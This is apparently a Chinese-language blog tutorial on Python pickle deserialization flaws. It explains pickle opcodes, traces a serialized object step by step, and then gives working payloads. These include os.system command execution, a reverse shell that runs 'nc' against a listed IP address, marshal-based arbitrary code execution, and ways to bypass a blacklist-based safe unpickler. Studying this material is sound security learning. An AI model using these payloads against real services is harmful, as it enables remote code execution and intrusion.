LOADING...

dadada~

loading

Python反序列化


原理

  • Python中有两个模块可以实现对象的序列化,picklecPickle,区别在于cPickle是用C语言实现的,pickle是用纯python语言实现的,用法类似,cPickle的读写效率高一些;使用时一般先尝试导入cPickle,如果失败,再导入pickle模块
  • pickle的应用场景一般有以下几种:
    • 在解析认证token,session的时候(尤其web中使用的redis、mongodb、memcached等来存储session等状态信息)
    • 将对象Pickle后存储成磁盘文件
    • 将对象Pickle后在网络中传输
  • 漏洞成因:pickle数据是完全可控的,可以用来表示任意对象

方法

  • pickle.dump(obj, file):将obj对象进行封存,即序列化,然后写入到file文件中,这里的file需要以wb打开(二进制可写模式)
  • pickle.load(file):将file这个文件进行解封,即反序列化,这里的file需要以rb打开(二进制可读模式)
  • pickle.dumps(obj):将obj对象进行封存,即序列化,然后将其作为bytes类型直接返回
  • pickle.loads(data):将data解封,即进行反序列化,data要求为bytes-like object(字节类对象)

关于opcode

  • opcode,即序列化后的字符,它们都有一定的含义,可以通过编写opcode实现函数执行

  • pickle有6种不同的实现版本,在py3和py2中得到的opcode不相同,但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)

  • 版本0的opcode更方便阅读,所以手动编写时,一般选用版本0的opcode

  • 直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要符合pickle语法,就可以进行变量覆盖、函数执行等操作

  • 抄一个大佬的表格:

    opcode 描述 具体写法 栈上的变化 memo上的变化
    c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) c[module]\n[instance]\n 获得的对象入栈
    o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
    i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
    N 实例化一个None N 获得的对象入栈
    S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
    V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
    I 实例化一个int对象 Ixxx\n 获得的对象入栈
    F 实例化一个float对象 Fx.x\n 获得的对象入栈
    R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
    . 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
    ( 向栈中压入一个MARK标记 ( MARK标记入栈
    t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
    ) 向栈中直接压入一个空元组 ) 空元组入栈
    l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
    ] 向栈中直接压入一个空列表 ] 空列表入栈
    d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
    } 向栈中直接压入一个空字典 } 空字典入栈
    p 将栈顶对象储存至memo_n pn\n 对象被储存
    g 将memo_n的对象压栈 gn\n 对象被压栈
    0 丢弃栈顶对象 0 栈顶对象被丢弃
    b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
    s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
    u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
    a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
    e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新
  • 注: TRUE 可以用 I 表示: b'I01\n'FALSE 也可以用 I 表示: b'I00\n'

  • c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库

  • pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattrdict.get)才能进行。但是因为存在sub操作符,作为右值是可以的;即,查值不行,赋值可以,pickle能够索引查值的操作只有ci

  • sub操作符可以构造并赋值原来没有的属性、键值对

  • 拼接opcode:将第一个pickle流结尾表示结束的 . 去掉,将第二个pickle流与第一个拼接起来即可

大白话版

  • c:以c开始的后面两行的作用类似os.system的调用,其中cos在第一行,system在第二行
  • (:相当于左括号
  • t:相当于右括号
  • S:表示本行的内容一个字符串
  • R:执行紧靠自己左边的一个括号对(即(t之间)的内容
  • .:代表该pickle结束

序列化与反序列化分析

  • 字符串:

    import pickle
    zj = 'haoye'
    filename = "haoye"
    # 序列化
    with open(filename, 'wb') as f:  # 以二进制可写形式打开haoye这个文件
        pickle.dump(zj, f)  # 将zj这个变量对应的字符串进行序列化并写入到f中
    # 读取序列化后生成的文件
    with open(filename, "rb") as f:
        print(f.read())
    # 反序列化
    with open(filename, "rb") as f:  # 以二进制可读形式打开haoye这个文件
        print(pickle.load(f))  # 将这个文件进行反序列化并输出
    
  • 类和对象的反序列化:

    import pickle
    class Test:
        def __init__(self, name, age):
            self.name = name
            self.age = age
    
    
    a = pickle.dumps(Test("lalala", "18"))
    print(a)
    # 输出:b'\x80\x04\x958\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x06lalala\x94\x8c\x03age\x94\x8c\x0218\x94ub.'
    
  • 详细分析:

    1. 读取\x80,其对应的是PROTO,这里调用load_proto方法,函数内容是读取下一个字符,读取到\x04,这里的含义是表示这是一个根据四号协议序列化的字符串

    2. 读取\x95,其对应的是FRAME,这里调用load_frame方法,函数内容是读取八个字符串,这里是:\x00\x00\x00\x00\x00\x00\x00,然后将其值进行二进制字节流转换赋值给current_frame

    3. 读取\x8c,其对应的是SHORT_BINUNICODE,对应方法是load_short_binunicode,函数内容是向下读取一位,然后压入栈中,此时:stack:[__main__]

    4. 读取\x94,其对应的是MEMOIZE,对应方法是load_memoize,函数内容是将栈中-1对应元素赋值给memo[0],这里的话就是memo[0]=\x08__main,而memo等于{},就是{\x08__main}

    5. 读取\x8c,向下读取一位然后压入栈中,下一位是\x04Test,此时:stack:[__main__,Test]

    6. 读取\x94,将栈中-1对应元素存入memo[1]中,即memo[1]=Test

    7. 读取\x93,对应函数是load_stack_global,函数内容是将栈中元素取出一个,作为对象名,这里就是name=Test,接下来再取出一个,作为类名,就是module=__main__,然后压入栈中,此时:stack:[<class '__main__.Test'>]

    8. 读取\x94,将栈中-1对应元素存入memo[2]中,就是将上面的字符串保存到memo[2]

    9. 读取),对应的是EMPTY_TUPLE,也就是向栈中加入空元组,此时:stack:[<class '__main__.Test'>,()]

    10. 读取\x81,对应函数是load_newobj,弹出()赋值给args,然后将class '__main__.Test'赋值给cls,接下来cls.__new__(cls,*args)实例化对象,由于args为空,所以这里仍然是一个空的Test对象,此时:stack:[<class '__main__.Test'>]

    11. 读取\x94,将上面实例化过后的对象存入memo[3]

    12. 读取},往栈中压入空的字典,此时:stack:[<class '__main__.Test'>,{}]

    13. 读取\x94,将上述字符串存入memo[4]

    14. 读取(,对应方法为load_mark,函数内容是将栈中元素压入到metastack中,然后将栈置空

    15. 读取\x8c,向下读取一位压入栈中,下一位是\x04name(\x04代表name的长度),此时:stack:[name]

    16. 读取\x94,此时栈中是name,因此就是memo[5]=name

    17. 读取\x8c,向下读取一位压入栈中,这里的话下一位是\x06lalala,此时:stack:[name,lalala]

    18. 读取\x94,即memo[6]=lalala

    19. 读取\x8c,读取下一位\x03age,此时:stack:[name,lalala,age]

    20. 读取x94,即memo[7]=age

    21. 读取\x8c,读取下一位\x0218,此时:stack:[name,lalala,age,18]

    22. 读取\x94,即memo[8]=19

    23. 读取u,对应函数为load_setitems,将栈赋值给items变量,然后将metastack中的弹出赋值给栈,所以这里的栈就变成了<class '__main__.Test'>,{},这里的话就是取出__main__.Test作为字典,接下来进行range遍历

      __main__.Test[items[0]]=items[1]
      __main__.Test[items[2]]=items[3]
      即:
      __main__.Test[name]=lalala
      __main__.Test[age]=18
      

      此时:stack:[<class '__main__.Test'>,{'name':'lalala','age':'18'}]

    24. 读取b,对应方法为load_build,弹出{'name':'lalala','age':'18'}赋值给state,弹出class '__main__.Test'赋值给inst,如果inst中存在setstate,就用setstate来处理state,否则就存入inst_dict

    25. 读取.,结束反序列化

  • 此处可以通过pickletools来查看:

    import pickle
    import pickletools
    
    class Test:
        def __init__(self, name, age):
            self.name = name
            self.age = age
    
    
    a = pickle.dumps(Test("lalala", "18"))
    print(a)
    pickletools.dis(a)
    

漏洞利用

全局变量覆盖

  • 有一个文件secret.py,内容如下:flag = 'hao ye!'

  • 现在要把它修改成lalala,需要通过c操作符得到全局变量flag,然后利用b操作符修改属性值即可,构造payload如下:

    c__main__
    secret
    (S'flag'
    S'lalala'
    db.
    
  • 代码:

    import pickle
    import secret
    payload = '''c__main__
    secret
    (S'flag'
    S'lalala'
    db.'''
    
    print('before:', secret.flag)
    # print(payload.encode())
    output = pickle.loads(payload.encode())
    print('output:', output)
    print('after:', secret.flag)
    
  • 分析:

    • 通过 c 获取全局变量 flag ,然后建立一个字典,并使用 bflag进行属性设置

命令执行

  • __reduce__方法:类似php中的__wakeup()方法,被定义之后,当对象被反序列化时就会触发,作用:如果接收到的是字符串,就会把这个字符串当成一个全局变量的名称,然后Python查找它并进去pickle,如果接收到的是元组,这个元组应该包含2-6个元素,其中包括:一个可调用对象,用于创建对象,参数元素,供对象调用

  • pickle.loads可以解决import 问题,对于未引入的module会自动尝试import,也就是说整个python标准库的代码执行、命令执行函数都可以使用

  • 如:

    import os
    import pickle
    
    class Test(object):
        def __reduce__(self):
            return os.system, ('whoami',)
    a = Test()
    
    payload = pickle.dumps(a)
    print(payload)
    pickle.loads(payload)
    
  • 实现反弹shell:

    import os
    import pickle
    
    class Test(object):
        def __reduce__(self):
            return (eval, ("__import__('os').system('nc 43.143.175.158 6666 -e/bin/sh')",))
    
    a = Test()
    payload = pickle.dumps(a)
    print(payload)
    pickle.loads(payload)
    

编写opcode实现函数执行

  • 数执行相关的opcode有三个: Rio

    # R:
    b'''cos
    system
    (S'whoami'
    tR.'''
    # i:
    b'''(S'whoami'
    ios
    system
    .'''
    # o:
    b'''(cos
    system
    S'whoami'
    o.'''
    
  • 利用代码:

    import pickle
    
    payload = b'''cos
    system
    (S'whoami'
    tR.'''
    pickle.loads(payload)
    
  • b操作符:

    b'c__main__\nTest\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'
    
  • 详细说明:

    • 字符c,往后读取两行,得到主函数和类,__main__.Test
    • 字符),向栈中压入空元祖()
    • 字符},向栈中压入空字典{}
    • 字符X,读取四位\x0C\x00\x00\x00__setstate__,得到__setstate__
    • 字符c,向后读取两行,得到函数os.system
    • 字符s,将第一个和第二个元素作为键值对,添加到第三个元素中,此时也就是{__main.Test:()},__setstate__,os.system
    • 字符b,第一个元素出栈,此时也就是{'__setstate__': os.system},此时执行一次setstate(state)
    • 字符X,往后读取四位x06\x00\x00\x00whoami,即whoami
    • 字符b,弹出元素whoami此时statewhoami,执行os.system(whoami)
    • 字符.,结束反序列化
  • 利用代码(python3):

    import pickle
    
    class Test:
        def __init__(self):
            self.name = "lalala"
            
    a = b'c__main__\nTest\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'
    b = pickle.loads(a)
    

任意代码执行

  • pickle不能序列化代码对象,但是自从 python 2.6 起,Python 提供了一个可以序列化code对象的模块Marshal,如:

    import pickle
    import marshal
    import base64
    
    def code():
        import os
        os.system('whoami')
    
    code_pickle = base64.b64encode(marshal.dumps(code.func_code))
    print code_pickle
    
  • 利用PVM操作码构造执行输出的base64内容,Python 能通过 types.FunctionTyle(func_code,globals(),'')() 来动态地创建匿名函数:

    code_str = base64.b64decode(code_pickle)
    code = marshal.loads(code_str)
    func = types.FunctionType(code, globals(), '')
    func()
    # 可以简写为:
    (types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), ''))()
    
  • 构造对应的PVM操作语句:

    import pickle
    
    s = """ctypes
    FunctionType
    (cmarshal
    loads
    (cbase64
    b64decode
    (S'YwAAAAABAAAAAgAAAEMAAABzHQAAAGQBAGQAAGwAAH0AAHwAAGoBAGQCAIMBAAFkAABTKAMAAABOaf////90BgAAAHdob2FtaSgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAQAAACgAAAAAKAAAAABzLQAAAEQ6XFB5Y2hhcm1Qcm9qZWN0c1xweXRob25Qcm9qZWN0MVxwaWNrbGVcMS5weXQEAAAAY29kZQYAAABzBAAAAAABDAE='
    tRtRc__builtin__
    globals
    (tRS''
    tR(tR.
    """
    
    pickle.loads(s)
    
  • 生成payload脚本:

    import marshal
    import base64
    
    def code():
        pass # any code here
    
    print """ctypes
    FunctionType
    (cmarshal
    loads
    (cbase64
    b64decode
    (S'%s'
    tRtRc__builtin__
    globals
    (tRS''
    tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))
    

绕过限制

黑名单绕过

  • 官方给出的安全反序列化是继承了pickle.Pickler类,并重载了find_class方法

  • 常见的是设置了一些黑名单来进行绕过,如:

    import pickle
    import io
    import builtins
    __all__ = ('PickleSerializer',)
    class RestrictedUnpickler(pickle.Unpickler):
        blacklist={'eval','exec','open','__import__','exit','input'}
        def find_class(self,module,name):
            if module == "builtins" and name not in self.blacklist:
                return getattr(builtins,name)
            raise pickle.UnpicklingError("global '%s.%s' is forbidden"%(module ,name))
    
  • 禁用evalexec等函数,但getattr没有被ban,可以通过builtins.getattr('builtins', 'eval')来获取eval等黑名单函数

  • 构造payload:

    builtins.getattr(builtins, 'eval'),('__import__("os").system("whoami")',)
    # 构造序列化后的字符串
    cbuiltins
    getattr  # 构造出builtins.getattr
    (cbuiltins
    dict
    S'get'  #获取到globals中的dict类中的get方法
    tR(cbuiltins
    globals   #得到globals()
    (tRS'builtins' #读取builtins
    tRS'eval'
    tRp1
    (S'__import__("os").system("whoami")'
    tR."""
    

关键词绕过

  • V操作符绕过:(S'flag'可以换成(V\u0066lag

  • 十六进制绕过:S操作符可以识别十六进制,因此可以对字符进行十六进制编码:(S'\x66lag'

  • 内置函数获取关键字:

    • 通过sys.modules[xxx]来获取全部属性,然后输出:

      import secret
      import sys
      print(dir(sys.modules['secret']))
      
    • 这里是列表的形式(pickle不支持列表索引),所以用函数reversed()将列表反序,然后用next()函数指向关键词从而实现输出关键词:

      import secret
      import sys
      print(next(reversed(dir(sys.modules['secret']))))
      
    • 构造序列化后的字符串并验证:

      import pickle
      import secret
      
      opcode = b'''(((c__main__
      secret
      i__builtin__
      dir
      i__builtin__
      reversed
      i__builtin__
      next
      .'''
      print(pickle.loads(opcode))
      
    • 成功输出flag,新的变量覆盖payload:

      import pickle
      import secret
      
      payload = b'''c__main__
      secret
      ((((c__main__
      secret
      i__builtin__
      dir
      i__builtin__
      reversed
      i__builtin__
      next
      S'lalala'
      db.'''
      print('before:', secret.flag)
      output = pickle.loads(payload)
      print('output:', output)
      print('after:', secret.flag)
      

pker的使用

  • pker是以仿照Python的形式产生pickle opcode的解析器,可以用来进行原变量覆盖、函数执行、实例化新的对象

  • pker主要用到GLOBAL、INST、OBJ三种特殊的函数以及一些必要的转换方式,其他的opcode也可以手动使用:

    以下module都可以是包含'.'的子module
    调用函数时,注意传入的参数类型要和示例一致
    对应的opcode会被生成,但并不与pker代码相互等价
    
    GLOBAL
    对应opcode:b'c'
    获取module下的一个全局对象(没有import的也可以,比如下面的os):
    GLOBAL('os', 'system')
    输入:module,instance(callable、module都是instance)  
    
    INST
    对应opcode:b'i'
    建立并入栈一个对象(可以执行一个函数):
    INST('os', 'system', 'ls')  
    输入:module,callable,para 
    
    OBJ
    对应opcode:b'o'
    建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
    OBJ(GLOBAL('os', 'system'), 'ls') 
    输入:callable,para
    
    xxx(xx,...)
    对应opcode:b'R'
    使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)
    
    li[0]=321
    或
    globals_dic['local_var']='hello'
    对应opcode:b's'
    更新列表或字典的某项的值
    
    xx.attr=123
    对应opcode:b'b'
    对xx对象进行属性设置
    
    return
    对应opcode:b'0'
    出栈(作为pickle.loads函数的返回值):
    return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)
    
  • 由于opcode本身的功能问题,pker不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattrdict.get)才能进行,但是因为存在sub操作符,作为右值是可以的,即查值不行,赋值可以

  • pker解析S时,用单引号包裹字符串,所以pker代码中的双引号会被解析为单引号opcode:

    test="123"
    return test   --->  b"S'123'\np0\n0g0\n."
    

全局变量覆盖

secret=GLOBAL('__main__', 'secret')
secret.flag='lalala'                 --->  b"c__main__\nsecret\np0\n0g0\n(}(S'flag'\nS'lalala'\ndtb."

函数执行

  • 通过b'R'调用:

    s='whoami'
    system = GLOBAL('os', 'system')
    system(s) # `b'R'`调用
    return
    
  • 通过b'i'调用:

    INST('os', 'system', 'whoami')
    
  • 通过b'c'b'o'调用:

    OBJ(GLOBAL('os', 'system'), 'whoami')
    
  • 多参数调用函数:

    INST('[module]', '[callable]'[, par0,par1...])
    OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])
    
  • 还有一个要注意的就是有的时候生成的opcode末尾没有.,就会报错

实例化对象

  • 实例化对象是一种特殊的函数执行:

    animal = INST('__main__', 'Animal','1','2')
    return animal
    # 或
    animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2')
    return animal
    # 也可以先实例化再赋值:
    animal = INST('__main__', 'Animal')
    animal.name='1'
    animal.category='2'
    return animal
    
  • 原文件中需包含:

    class Animal:
    
        def __init__(self, name, category):
            self.name = name
            self.category = category
    

命令

python3 pker.py < 1.txt

参考链接:

pickle反序列化初探 - 先知社区 (aliyun.com)

Python pickle反序列化浅析 - 跳跳糖 (tttang.com)

浅谈python反序列化漏洞_LetheSec的博客-CSDN博客